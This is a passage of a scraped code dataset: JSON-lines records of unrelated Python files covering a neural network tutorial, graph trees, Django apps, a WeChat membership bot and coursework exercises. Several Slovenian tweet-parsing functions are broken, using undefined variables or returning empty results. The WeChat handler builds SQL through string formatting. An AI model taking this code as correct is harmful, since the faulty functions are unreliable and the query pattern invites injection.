onehotencoder.fit_transform(X).toarray()\nX = X[:, 1:]\n\n# Splitting dataset into Training set and Test set\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=0)\n\n# Feature scaling (to ensure there are no funky issues with data processing)\nsc_X = StandardScaler()\nX_train = sc_X.fit_transform(X_train)\nX_test = sc_X.transform(X_test)\n\n# Initializing the ANN\nclassifier = Sequential()\n\n# Adding the layers\nclassifier.add(Dense(units=6, kernel_initializer=\"uniform\", activation=\"relu\", input_dim=11))\nclassifier.add(Dense(units=6, kernel_initializer=\"uniform\", activation=\"relu\"))\nclassifier.add(Dense(units=1, kernel_initializer=\"uniform\", activation=\"sigmoid\"))\n\n# Compiling ANN\nclassifier.compile(optimizer=\"adam\", loss=\"binary_crossentropy\", metrics=[\"accuracy\"])\n\n# Fitting the ANN to the training set\nclassifier.fit(X_train, y_train, batch_size=10, epochs=100)\n\n# Predicting the test set results\ny_pred = classifier.predict(X_test)\ny_pred = (y_pred > 0.5)\n\n# Making the confusion matrix (indicator of success)\ncm = confusion_matrix(y_test, y_pred)\n","sub_path":"Part 8 - Deep Learning/Section 39 - Artificial Neural Networks (ANN)/ann.py","file_name":"ann.py","file_ext":"py","file_size_in_byte":1817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"23106511","text":"import networkx as nx\nimport networkx.algorithms.approximation\nimport matplotlib.pyplot as plt\nimport random\nimport math\nimport operator\n\nNETWORK_SIZE = 21 # 网络节点个数\nPROBABILITY = 0.2 # 概率P\nDESTINATION_NUMBER = 8 # 目标节点个数\nNODE_COLOR = '#5BE7C4' # 普通节点颜色\nSOURCE_NODE_COLOR = '#FF2E63' # 源节点颜色\nDESTINATION_NODE_COLOR = '#FFE869' # 目标节点颜色\nFIGURE_SIZE = 15 # 画布大小\n\n\ndef generate_network_topology():\n \"\"\"Generate Network Topology by random\n :return:\n \"\"\"\n while True:\n G = nx.erdos_renyi_graph(NETWORK_SIZE, PROBABILITY) # 随机生成拓扑\n if nx.is_connected(G): # 如果图是连通的则生成完毕\n break\n\n for edge in G.edges:\n G.add_weighted_edges_from([(edge[0], edge[1], random.randint(1, 10))]) # 给边添加随机权值\n\n g_edge_labels = nx.get_edge_attributes(G, 'weight') # 获取边labels\n\n destination_nodes = random.sample(list(G.nodes)[1:], DESTINATION_NUMBER) # 随机生成目标节点\n destination_nodes.sort() # 目标节点排序\n pos = nx.circular_layout(G, FIGURE_SIZE // 2) # 生成节点在画布中的分布\n print('Destination Nodes:', destination_nodes) # 打印目标节点\n\n draw_graphics(G, pos, destination_nodes, g_edge_labels, 'Network Topology') # 画对应的图\n\n return G, pos, destination_nodes\n\n\ndef generate_shortest_path_tree(G, pos, destination_nodes):\n \"\"\"Return Shortest Path Tree(SPT)\n :param G:\n :param pos:\n :param destination_nodes:\n :return:\n \"\"\"\n shortest_path_tree = nx.Graph()\n shortest_path_tree.add_nodes_from(G) # 从G中添加节点\n\n print('Shortest Path Tree:')\n for node in destination_nodes:\n shortest_path = nx.shortest_path(G, 0, node, weight=None)\n print(shortest_path)\n nx.add_path(shortest_path_tree, shortest_path) # 添加从源到i的最短路径\n\n for edge in shortest_path_tree.edges:\n node_1, node_2 = edge[0], edge[1]\n shortest_path_tree.add_weighted_edges_from([(node_1, node_2, G[node_1][node_2]['weight'])]) # 往图中添加权值\n\n shortest_path_tree_edge_labels = nx.get_edge_attributes(shortest_path_tree, 'weight')\n\n draw_graphics(shortest_path_tree, pos, destination_nodes, shortest_path_tree_edge_labels, 'Shortest Path Tree')\n\n return shortest_path_tree\n\n\ndef generate_steiner_tree(G, pos, destination_nodes):\n \"\"\"Generate Steiner Tree(ST)\n :param G:\n :param pos:\n :param destination_nodes:\n :return:\n \"\"\"\n steiner_tree = nx.Graph()\n steiner_tree.add_nodes_from(G)\n print('Steiner Tree:')\n\n # 遍历斯坦纳树\n for edge in nx.Graph(nx.algorithms.approximation.steiner_tree(G, destination_nodes + [0], weight=None)).edges:\n node_1, node_2 = edge[0], edge[1]\n steiner_tree.add_weighted_edges_from([(node_1, node_2, G[node_1][node_2]['weight'])]) # 添加权值\n print(edge)\n\n steiner_tree_edge_labels = nx.get_edge_attributes(steiner_tree, 'weight')\n\n draw_graphics(steiner_tree, pos, destination_nodes, steiner_tree_edge_labels, 'Steiner Tree')\n\n print(nx.number_of_edges(steiner_tree))\n return steiner_tree\n\n\ndef generate_widest_shortest_path_tree(G, pos, destination_nodes):\n \"\"\"Return Widest Shortest Path Tree(WSPT)\n :param G:\n :param pos:\n :param destination_nodes:\n :return:\n \"\"\"\n widest_shortest_path_tree = nx.Graph()\n widest_shortest_path_tree.add_nodes_from(G)\n\n print('Widest Shortest Path Tree:')\n for node in destination_nodes:\n shortest_paths = nx.all_shortest_paths(G, 0, node, weight=None) # 找到从0到目标节点的所有最短路\n widest_shortest_path = None # 初始最宽最短路\n max_minimum_weight = -math.inf # 初始最大最小权值\n for shortest_path in shortest_paths: # 遍历所有最短路\n minimum_weight = math.inf # 最小权值=正无穷\n # print(shortest_path)\n for i in range(len(shortest_path) - 1): # 遍历该最短路径\n node_1 = shortest_path[i]\n node_2 = shortest_path[i + 1]\n minimum_weight = min(minimum_weight, G[node_1][node_2]['weight']) # 找到该路径的最小权值\n if minimum_weight > max_minimum_weight: # 如果该路径的最小权值大于当前的最大最小权值\n max_minimum_weight = minimum_weight # 更新最大最小权值\n widest_shortest_path = shortest_path # 更新最宽最短路\n print(widest_shortest_path, 'max_minimum_weight:', max_minimum_weight)\n nx.add_path(widest_shortest_path_tree, widest_shortest_path)\n\n for edge in widest_shortest_path_tree.edges:\n node_1, node_2 = edge[0], edge[1]\n widest_shortest_path_tree.add_weighted_edges_from([(node_1, node_2, G[node_1][node_2]['weight'])])\n\n widest_shortest_path_tree_labels = nx.get_edge_attributes(widest_shortest_path_tree, 'weight')\n\n draw_graphics(widest_shortest_path_tree, pos, destination_nodes, widest_shortest_path_tree_labels, 'Widest '\n 'Shortest Path '\n 'Tree')\n\n return widest_shortest_path_tree\n\n\ndef generate_widest_steiner_tree(G, pos, destination_nodes):\n \"\"\"Return Widest Steiner Tree(WST)\n :param G:\n :param pos:\n :param destination_nodes:\n :return:\n \"\"\"\n pass\n # g_weight_edges = sorted(nx.get_edge_attributes(G, 'weight').items(), key=operator.itemgetter(1))\n # widest_steiner_tree = nx.Graph(G)\n # widest_steiner_tree = nx.algorithms.approximation.steiner_tree(G, destination_nodes + [0], weight=None)\n\n\ndef draw_graphics(graph, pos, destination_nodes, graph_edge_labels, title):\n \"\"\"Draw Graphics\n :param graph:\n :param pos:\n :param destination_nodes:\n :param graph_edge_labels:\n :param title:\n :return:\n \"\"\"\n plt.figure(figsize=(FIGURE_SIZE, FIGURE_SIZE)) # 画布大小\n plt.title(title) # 标题\n nx.draw_networkx(graph, pos, node_color=NODE_COLOR, node_size=600) # 画对应的路径图\n nx.draw_networkx_nodes(graph, pos, [0], node_color=SOURCE_NODE_COLOR, node_size=600) # 画源节点\n nx.draw_networkx_nodes(graph, pos, destination_nodes, node_color=DESTINATION_NODE_COLOR, node_size=600) # 画目标节点\n if graph_edge_labels is not None:\n nx.draw_networkx_edge_labels(graph, pos, graph_edge_labels) # 给边标注权值\n plt.axis('off') # 座标轴关闭\n plt.savefig(\"%s.png\" % title) # 保存图片\n plt.show()\n","sub_path":"algorithm.py","file_name":"algorithm.py","file_ext":"py","file_size_in_byte":6694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"430606570","text":"#!/usr/bin/env python\n#/srv/gs1/software/python/python-2.7/bin/python\nimport sys;\nimport os;\nscriptsDir = os.environ.get(\"UTIL_SCRIPTS_DIR\");\nif (scriptsDir is None):\n raise Exception(\"Please set environment variable UTIL_SCRIPTS_DIR\");\nsys.path.insert(0,scriptsDir);\nimport pathSetter;\nimport argparse;\nimport fileProcessing as fp;\nimport util;\nfrom profileSequences import getLetterByLetterKeysGenerator, gcLetterToKey, GCkeys;\n\n#iterator that maps acgtn/ACGTN in sequence to 'keys' relevant for computing GC content\ngcKeysGenerator = getLetterByLetterKeysGenerator(gcLetterToKey);\ndef getGCcontent(sequence):\n numGC = 0;\n numSeq = 0; #excluding Ns\n for gcKey in gcKeysGenerator:\n if (gcKey != GCkeys.N):\n numSeq += 1;\n if (gcKey == GCkeys.GC):\n numGC += 1;\n return (0 if numSeq == 0 else float(numGC)/float(numSeq)); \n\ndef perSequence_profile(options): \n transformation = util.chainFunctions(fp.trimNewline, fp.splitByTabs);\n prefix = util.addArguments(\"profiled\", [util.BooleanArgument(options.gcContent, \"gcContent\")\n ,util.ArgumentToAdd(options.sequencesLength, \"seqLen\")]); \n outputFile = fp.getFileNameParts(options.inputFile).getFilePathWithTransformation(lambda x: prefix+x);\n outputFileHandle = fp.getFileHandle(outputFile, 'w');\n def actionFromTitle(title):\n titleArr = transformation(title);\n if (options.titlePresent):\n toPrintTitleArr = [titleArr[x] for x in options.auxillaryCols];\n else:\n toPrintTitleArr = [x for x in options.auxillaryColNames]; \n if (options.gcContent):\n toPrintTitleArr.append(\"gcContent\");\n outputFileHandle.write(\"\\t\".join(toPrintTitleArr)+\"\\n\"); \n def action(inp, lineNumber):\n toPrintArr = [inp[x] for x in options.auxillaryCols];\n sequence = inp[options.sequenceCol];\n if (options.gcContent):\n toPrintArr.extend(getGCcontent(sequence));\n outputFileHandle.write(\"\\t\".join(toPrintArr)+\"\\n\"); \n if (options.titlePresent == False):\n action(titleArr, 0); #if there's no title, perform the action on the first line\n return action;\n fp.performActionOnEachLineOfFile(\n fileHandle = fp.getFileHandle(options.inputFile)\n , transformation=transformation\n , actionFromTitle = actionFromTitle\n , ignoreInputTitle = options.titlePresent\n );\n outputFileHandle.close();\n \nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\"So far, for profiling gc content and length of individual sequences is a tsv. Plan is to use for sequence set balancing\");\n parser.add_argument(\"--inputFile\", required=True);\n parser.add_argument(\"--gcContent\", action=\"store_true\");\n parser.add_argument(\"--sequenceCol\", default=1);\n parser.add_argument(\"--sequencesLength\", type=int, required=True);\n parser.add_argument(\"--auxillaryCols\", nargs='+', default=[0]);\n parser.add_argument(\"--auxillaryColNames\", nargs='+', default=['id']);\n parser.add_argument(\"--titlePresent\", action=\"store_true\");\n args = parser.parse_args();\n\n if (args.titlePresent == False):\n if (len(args.auxillaryCols) > 0):\n if (args.auxillaryColNames is None):\n raise ValueError(\"If no title present, need to specify the names associated with the auxillary cols\");\n if (len(args.auxillaryColNames) != len(args.auxillaryCols)):\n raise ValueError(\"Num of auxillary col names should be same as num of auxillary cols\");\n\n perSequence_profile(args);\n","sub_path":"profileSequences/perSequence_profile.py","file_name":"perSequence_profile.py","file_ext":"py","file_size_in_byte":3640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"146034542","text":"import unittest\nfrom gevent import socket\nimport gevent\nimport errno\nimport sys\nimport os\nfrom test__server import SimpleStreamServer\n\n\nclass Test(unittest.TestCase):\n\n ServerSubClass = SimpleStreamServer\n\n def makefile(self, timeout=0.1, bufsize=1):\n sock = socket.create_connection((self.server.server_host, self.server.server_port))\n sock.settimeout(timeout)\n return sock.makefile(bufsize=bufsize)\n\n def assertConnectionRefused(self):\n try:\n conn = self.makefile()\n raise AssertionError('Connection was not refused: %r' % (conn._sock, ))\n except socket.error:\n ex = sys.exc_info()[1]\n if ex.args[0] != errno.ECONNREFUSED:\n raise\n\n def assertRequestSucceeded(self):\n conn = self.makefile()\n conn.write('GET /ping HTTP/1.0\\r\\n\\r\\n')\n result = conn.read()\n assert result.endswith('\\r\\n\\r\\nPONG'), repr(result)\n\n def init_server(self):\n self.server = self.ServerSubClass(('127.0.0.1', 0))\n self.server.start()\n gevent.sleep(0.01)\n\n def test_socket_shutdown(self):\n self.init_server()\n self.server.socket.shutdown(socket.SHUT_RDWR)\n self.assertConnectionRefused()\n assert not self.server.started, self.server\n\n def test_socket_close(self):\n self.server = self.ServerSubClass(('127.0.0.1', 0))\n self.server.start()\n self.server.socket.close()\n self.assertConnectionRefused()\n #assert not self.server.started\n\n def test_socket_close_fileno(self):\n self.server = self.ServerSubClass(('127.0.0.1', 0))\n self.server.start()\n os.close(self.server.socket.fileno())\n self.assertConnectionRefused()\n #assert not self.server.started\n\n def test_socket_file(self):\n self.server = self.ServerSubClass(('127.0.0.1', 0))\n self.server.start()\n os.close(self.server.socket.fileno())\n f = open(\"/dev/zero\", \"r\")\n self.assertConnectionRefused()\n del f\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"lib/gevent/greentest/xtest__server_close.py","file_name":"xtest__server_close.py","file_ext":"py","file_size_in_byte":2090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"198754869","text":"import xml.etree.cElementTree as ET\nimport os\n\nbox_name = []\n\n\ndef xmlxixni(xmlpath):\n global box_name\n xmllist = os.listdir(xmlpath)\n for i, xml in enumerate(xmllist):\n i += 1\n xml_path = xmlpath + xml\n tree = ET.parse(xml_path)\n for obj in tree.findall('object'):\n name = obj.find('name').text\n box_name.extend([name])\n print(box_name)\n print(len(box_name))\n box_name = list(set(box_name))\n print(box_name)\n print(len(box_name))\n\n\nxmlpath3 = \"D:/python_program/data/\"\nxmlxixni(xmlpath3)\n","sub_path":"第二周-2019.10.06/肖万新/xiaowanxin.py","file_name":"xiaowanxin.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"617020380","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='BeachResort',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('active', models.BooleanField(default=True)),\n ('arrival_dt', models.DateTimeField(auto_now=True)),\n ('dept_dt', models.DateTimeField(auto_now=True)),\n ],\n ),\n migrations.CreateModel(\n name='DrawingRoom',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('active', models.BooleanField(default=True)),\n ],\n ),\n migrations.CreateModel(\n name='Pool',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('active', models.BooleanField(default=True)),\n ('pool_name', models.CharField(max_length=200)),\n ],\n ),\n migrations.AddField(\n model_name='drawingroom',\n name='swimming_pool',\n field=models.ForeignKey(to='farm_rizort.Pool'),\n ),\n migrations.AddField(\n model_name='beachresort',\n name='drawing_room',\n field=models.ForeignKey(to='farm_rizort.DrawingRoom'),\n ),\n migrations.AddField(\n model_name='beachresort',\n name='swimming_pool',\n field=models.ForeignKey(to='farm_rizort.Pool'),\n ),\n ]\n","sub_path":"farm_rizort/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"152714500","text":"import csv\nfrom datetime import datetime\n\nimport matplotlib.pyplot as plt\n\nfilename = 'data/sitka_weather_2018_simple.csv'\n\nwith open (filename, 'r' ) as f:\n reader = csv.reader(f)\n header_row = next(reader)\n\n # Get dates, high and low temperature from this file.\n dates, highs, lows = [], [], []\n for row in reader:\n current_date = datetime.strptime(row[2], '%Y-%m-%d')\n high = int(row[5])\n low = int(row[6])\n\n dates.append(current_date)\n highs.append(high)\n lows.append(low)\n\nprint(highs)\n\nplt.style.use('classic')\nfig, ax= plt.subplots()\nax.plot(dates, highs, c='red', alpha=0.5)\nax.plot(dates, lows, c='blue', alpha=0.5)\nplt.fill_between(dates, highs, lows, facecolor= 'blue', alpha= 0.1)\n\n# Format plot.\nplt.title(\"Daily high and low temperature - 2018\", fontsize = 20)\nplt.xlabel(\"\", fontsize= 14)\nfig.autofmt_xdate()\nplt.ylabel(\"Temperature(F)\", fontsize = 14)\nplt.tick_params(axis='both', which= 'major', labelsize = 16)\n\nplt.show()\n","sub_path":"sitka_highs_lows.py","file_name":"sitka_highs_lows.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"494464098","text":"from django.contrib.gis import admin as geoadmin\nfrom django.contrib import admin\nfrom django.contrib.gis.admin.widgets import OpenLayersWidget\nfrom django.contrib.gis.admin import OSMGeoAdmin\nfrom api.models import * \n# Register your models here.\n\n\n@admin.register(Reserves)\nclass ReservesAdmin(geoadmin.OSMGeoAdmin):\n list_display = ('id', 'name',)\n\n@admin.register(Routes)\nclass RoutesAdmin(geoadmin.OSMGeoAdmin):\n list_display = ('id', 'name',)\n\n\n@admin.register(Sights)\nclass SightsAdmin(geoadmin.OSMGeoAdmin):\n list_display = ('id', 'name',)\n\n@admin.register(ReserveReview)\nclass ReserveReviewAdmin(admin.ModelAdmin):\n list_display = ('id', 'rating','reserve',)\n\n@admin.register(RouteReview)\nclass RouteReviewAdmin(admin.ModelAdmin):\n list_display = ('id', 'rating','route',)\n@admin.register(userProfile)\nclass userProfileAdmin(admin.ModelAdmin):\n list_display = ('id', 'name','is_guide',)\nReviewsPictures \n@admin.register(ReviewsPictures)\nclass ReviewsPicturesAdmin(admin.ModelAdmin):\n list_display = ('id',)\n\n@admin.register(Achievements)\nclass AchievementsAdmin(admin.ModelAdmin):\n list_display = ('id','name')\n\n@admin.register(Trips)\nclass TripsAdmin(admin.ModelAdmin):\n list_display = ('id','name')\n readonly_fields = [\"reserve\"]","sub_path":"api/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"188945955","text":"# -*- coding: utf-8 -*-\nimport time\n\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom user.models import WechatMembers\n\nfrom wechatpy.replies import TextReply\nfrom utils import db\n\n\ndef switch_type(msg):\n \"\"\"\n 微信推送事件分发\n \"\"\"\n from_type = msg.type\n\n # 推送文字消息\n if from_type == 'text':\n if msg.content == '红包':\n to_content = '[小宽摊手]非常遗憾,活动已结束,不过没关系,人生还有诗和远方。'\n elif msg.content == '解除绑定':\n try:\n WechatMembers.objects.get(openid=msg.source).delete()\n to_content = '解除绑定成功。'\n except ObjectDoesNotExist:\n to_content = '嗨,小宽发现您还未绑定会员。\\n' \\\n '<a href=\"https://open.weixin.qq.com/connect/oauth2/authorize?' \\\n 'appid=wx5afe243d26d9fe30&redirect_uri=http%3A//www.zisai.net/user/' \\\n 'membersbound&response_type=code&scope=snsapi_base&state=STATE#wechat_redirect\">' \\\n '点击这里</a>绑定会员'\n else:\n to_content = '嗨,我是小宽,本公众号主要提供会员绑定、消费提醒等。如需查看门店营业时间和电话、海报信息、' \\\n '各种活动推广等请关注公众号“宽广超市”,感谢关注。'\n reply = TextReply(content=to_content, message=msg)\n xml = reply.render()\n return xml\n # 推送事件\n elif from_type == 'event':\n # 关注事件\n if msg.event == 'subscribe':\n to_content = '嗨,欢迎关注,我是小宽。宽广超市全新电子礼品卡上线了,送朋友传心意,好玩有趣,还能发图片录视频嘞。'\n reply = TextReply(content=to_content, message=msg)\n xml = reply.render()\n return xml\n # 自定义菜单事件\n elif msg.event == 'click':\n # 解除绑定\n if msg.key == 'jcbd':\n try:\n WechatMembers.objects.get(openid=msg.source)\n to_content = '发送\\\"解除绑定\\\"关键字,解除会员绑定。解除绑定后将无法使用会员相关功能。'\n except ObjectDoesNotExist:\n to_content = '嗨,我是小宽,您还没有操作会员绑定呢。'\n reply = TextReply(content=to_content, message=msg)\n xml = reply.render()\n return xml\n # 消费记录\n elif msg.key == 'xfjl':\n # 通过openid 查询用户是否绑定过微信\n user_set = WechatMembers.objects.filter(openid=msg.source)\n # 已绑定\n if user_set:\n\n # 会员卡号\n member_number = ''\n for user in user_set:\n member_number = user.membernumber\n\n # 卡服 获取消费明细\n conn = db.getMsSqlConn()\n cursor = conn.cursor()\n\n # 查询最后一次消费的明细\n last_buy_sql = \"SELECT ListNo,SaleValue,DiscValue,SDate FROM CardSaleGoods \" \\\n \"WHERE cardno='{member_number}' \" \\\n \"AND SDate IN \" \\\n \"(SELECT CONVERT(CHAR(10),lastusedate,120) \" \\\n \"FROM Guest \" \\\n \"WHERE cardno='{member_number}')\".format(member_number=member_number)\n cursor.execute(last_buy_sql)\n last_buy_rs = cursor.fetchall()\n cursor.close()\n conn.close()\n\n # 如果没有查询到消费明细 再取Guest表的数据\n if not last_buy_rs:\n conn = db.getMsSqlConn()\n cursor = conn.cursor()\n\n # 查询今天是否消费\n today_buy_sql = \"SELECT LastUseDate FROM Guest WHERE cardno='{member_number}'\".format(\n member_number=member_number)\n cursor.execute(today_buy_sql)\n today_buy_rs = cursor.fetchall()\n cursor.close()\n conn.close()\n\n # 格式化时间\n today = '{0:%Y-%m-%d}'.format(today_buy_rs[0]['LastUseDate'])\n now = str(time.strftime(\"%Y-%m-%d\", time.localtime()))\n\n # 判断今天是否消费\n if today == now:\n to_content = '客官,数据正在努力奔跑中...请以今天超市打印的购物小票为准,或者明天再来看看吧\\n' \\\n '哦哦,对了[憨笑],如果您绑定了会员,会收到我发送给您的消费提醒。'\n else:\n to_content = '客官最近都没来购物,小宽好想你呦~[可怜]'\n # 如果查询到消费明细\n else:\n # 存放当天消费明细 如果有多次消费 存放格式[{...}, {...}]\n temp_set = set()\n date_list = []\n\n # 计算消费次数\n for row in last_buy_rs:\n temp_set.add(row['ListNo'])\n if not date_list:\n date_list.append(row['SDate'])\n\n # 消费次数\n records = len(temp_set)\n # 消费日期\n date = '{0:%Y-%m-%d}'.format(date_list[0])\n\n to_content = '您最近一次在{sdate},消费{records}次\\n' \\\n '<a href=\"http://www.huigo.com/wechat/shoppinglist.php?memberNumber={member_number}\">' \\\n '查看消费明细' \\\n '</a>'.format(sdate=date, records=records, member_number=member_number)\n # 未绑定\n else:\n to_content = '嗨,我是小宽,您绑定会员后我才能帮您查询呐,不过您得是实名制会员才行。\\n' \\\n '那么问题来了,如何成为实名制会员?[疑问]\\n' \\\n 'so easy~~[调皮],请移步服务台咨询我们的客服人员。'\n\n reply = TextReply(content=to_content, message=msg)\n xml = reply.render()\n return xml\n # 模板消息发送任务完成事件\n elif msg.event == 'templatesendjobfinish':\n # TODO: 模板消息发送成功后的逻辑处理\n # TODO: if msg.status == '<![CDATA[failed: system failed]]>', 用户接收消息失败需要处理\n # 暂时回复空串,不做任何处理\n return 'success'\n else:\n return 'success'\n","sub_path":"apps/message/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"353893071","text":"def unikati(s):\r\n list = []\r\n for a in c:\r\n if a not in list:\r\n list.append(a)\r\n return list\r\n\r\n\r\ndef avtor(tvit):\r\n ter_tvit = \"\"\r\n x = 0\r\n y = 0\r\n for x in tvit:\r\n y = tvit.find(\":\")\r\n while x != y:\r\n ter_tvit += tvit[a]\r\n x += 1\r\n return ter_tvit\r\n\r\n\r\ndef vsi_avtorji(tviti):\r\n o = \"\"\r\n list = []\r\n list_nm2 = []\r\n for a in tviti:\r\n list.append(a)\r\n i = a.split(\":\")\r\n list_nm2.append(i[0])\r\n return unikati(list_nm2)\r\n\r\n\r\ndef izloci_besedo(word):\r\n clen = \"\"\r\n izpis = \"\"\r\n for a in word:\r\n if a.isalnum() != True:\r\n word = word.replace(a, \"\")\r\n else:\r\n clen = word[::-1]\r\n break\r\n for b in clen:\r\n if b.isalnum() != True:\r\n clen = clen.replace(b, \"\")\r\n else:\r\n koncno = clen[::-1]\r\n break\r\n return izpis\r\n\r\n\r\ndef zberi_se_zacne_z(tviti, d):\r\n e = 0\r\n list = []\r\n final_list = []\r\n for a in tviti:\r\n list.append(a.split())\r\n for b in list:\r\n for e in b:\r\n if d in e:\r\n final_list.append(izloci_besedo(e))\r\n return unikati(final_list)\r\n\r\n\r\ndef vse_afne(tviti):\r\n e = 0\r\n list = []\r\n final_list = []\r\n for a in tviti:\r\n list.append(a.split())\r\n for b in list:\r\n for e in b:\r\n if \"@\" in e:\r\n final_list.append(izloci_besedo(e))\r\n novi = unikati(final_list)\r\n return novi\r\n\r\n\r\ndef vsi_hashtagi(tviti):\r\n e = 0\r\n list = []\r\n final_list = []\r\n for x in tviti:\r\n list.append(x.split())\r\n for b in list:\r\n for e in b:\r\n if \"#\" in e:\r\n final_list.append(izloci_besedo(e))\r\n return unikati(final_list)\r\n\r\n\r\ndef vse_osebe(tviti):\r\n list = []\r\n novi = []\r\n new_final = []\r\n omega_list = []\r\n list.append(vse_afne(tviti))\r\n list.append(vsi_avtorji(tviti))\r\n for e in list:\r\n for d in e:\r\n novi.append(d)\r\n new_final = sorted(novi)\r\n omega_list = (unikati(new_final))\r\n return omega_list\r\n","sub_path":"code/batch-2/vse-naloge-brez-testov/DN5-M-241.py","file_name":"DN5-M-241.py","file_ext":"py","file_size_in_byte":2127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"365921081","text":"##\n## Programación en Python\n## ===========================================================================\n##\n## Genere una lista de tuplas, donde cada tupla contiene en la primera \n## posicion, el valor de la segunda columna; la segunda parte de la \n## tupla es una lista con las letras (ordenadas y sin repetir letra) \n## de la primera columna que aparecen asociadas a dicho valor de la \n## segunda columna. Esto es:\n##\n## Rta/\n## ('0', ['C'])\n## ('1', ['A', 'B', 'D', 'E'])\n## ('2', ['A', 'D', 'E'])\n## ('3', ['A', 'B', 'D', 'E'])\n## ('4', ['B', 'E'])\n## ('5', ['B', 'C', 'D', 'E'])\n## ('6', ['A', 'B', 'C', 'E'])\n## ('7', ['A', 'C', 'D', 'E'])\n## ('8', ['A', 'B', 'E'])\n## ('9', ['A', 'B', 'C', 'E'])\n##\n## >>> Escriba su codigo a partir de este punto <<<\n##\nimport pandas as pd\n\ndef unique(var):\n u_list = []\n for x in var:\n if x not in u_list:\n u_list.append(x)\n return u_list\n\ndf = pd.read_csv('data.csv',sep='\\t',header=None)\n\ndf2 = df[[0,1]]\nd = df2.groupby(1)[0].apply(lambda x: \"%s\" % ', '.join(x))\nfor index,val in d.iteritems():\n values = unique(val.replace(' ','').split(','))\n print(\"('\"+str(index)+\"', \" + str(sorted(values)) +\")\")\n\n\n\n\n","sub_path":"03-python=1/q08=1/question.py","file_name":"question.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"192337920","text":"\"\"\"\nGiven a sorted array, remove the duplicates in place such that each element\nappear only once and return the new length.\nDo not allocate extra space for another array, you must do this in place with\nconstant memory.\nFor example,\nGiven input array nums = [1,1,2],\nYour function should return length = 2, with the first two elements of nums\nbeing 1 and 2 respectively. It doesn't matter what you leave beyond the new\nlength.\n\"\"\"\n\nimport unittest\n\n\nclass MyTest(unittest.TestCase):\n\n def test(self):\n solution = Solution()\n self.assertEqual(3, solution.removeDuplicates([1, 2, 3]))\n self.assertEqual(2, solution.removeDuplicates([1, 2, 2]))\n self.assertEqual(1, solution.removeDuplicates([1, 1, 1]))\n\n\nclass Solution(object):\n\n def removeDuplicates(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n N = len(nums)\n if N < 2:\n return N\n pre = 0\n for i in range(1, N):\n if nums[i] != nums[i - 1]:\n pre += 1\n nums[pre] = nums[i]\n return pre + 1\n","sub_path":"026_remove_duplicates_from_sorted_array.py","file_name":"026_remove_duplicates_from_sorted_array.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"327327503","text":"from auto3dgm.mesh.meshfactory import MeshFactory\nfrom numpy import all, amin, any, argmax, array, isclose, ndarray, where, empty\nfrom scipy.spatial.distance import cdist\n\nimport random\n\nclass Subsample(object):\n\t\"\"\"Class stub, but subsample is for producing subsampled meshes \"\"\"\n\n\t@staticmethod\n\tdef far_point_subsample(mesh, n, seed=empty([0,0])):\n\t\tv = mesh.vertices\n\t\tif n > v.shape[0] or n < seed.shape[0]:\n\t\t\traise ValueError('n larger than number of vertices or smaller than number of seed points')\n\t\tif isinstance(seed, ndarray) and seed.size:\n\t\t\tif v.shape[1] == 3 and v.ndim == 2:\n\t\t\t\t# are s in v (or close enough?)\n\t\t\t\tif all([any(all(isclose(x, v), 1)) for x in seed]):\n\t\t\t\t\t# get ind for seed points\n\t\t\t\t\tseedint = [where(all(isclose(x, v), axis=1))[0][0] for x in seed]\n\t\t\telse:\n\t\t\t\traise ValueError('seed improperly formed, expecting n x 3 array')\n\t\telse:\n\t\t\trandom.seed()\n\t\t\tseedint = [random.randint(0, v.shape[0]-1)]\n\t\tsubint = seedint\n\t\tfor i in range(len(subint),n):\n\t\t\tsubint.append(argmax(amin(cdist(v[subint], v), axis=0)))\n\n\t\treturn MeshFactory.mesh_from_data(v[subint])","sub_path":"auto3dgm/mesh/subsample.py","file_name":"subsample.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"329989347","text":"from django import forms\nfrom .models import Account\n\n\nBanks = (\n ('Choose Bank', 'Choose Bank'),\n ('Access Bank', 'Access Bank'),\n ('Citibank', 'Citibank'),\n ('Diamond Bank', 'Diamond Bank'),\n ('Ecobank Nigeria', 'Ecobank Nigeria'),\n 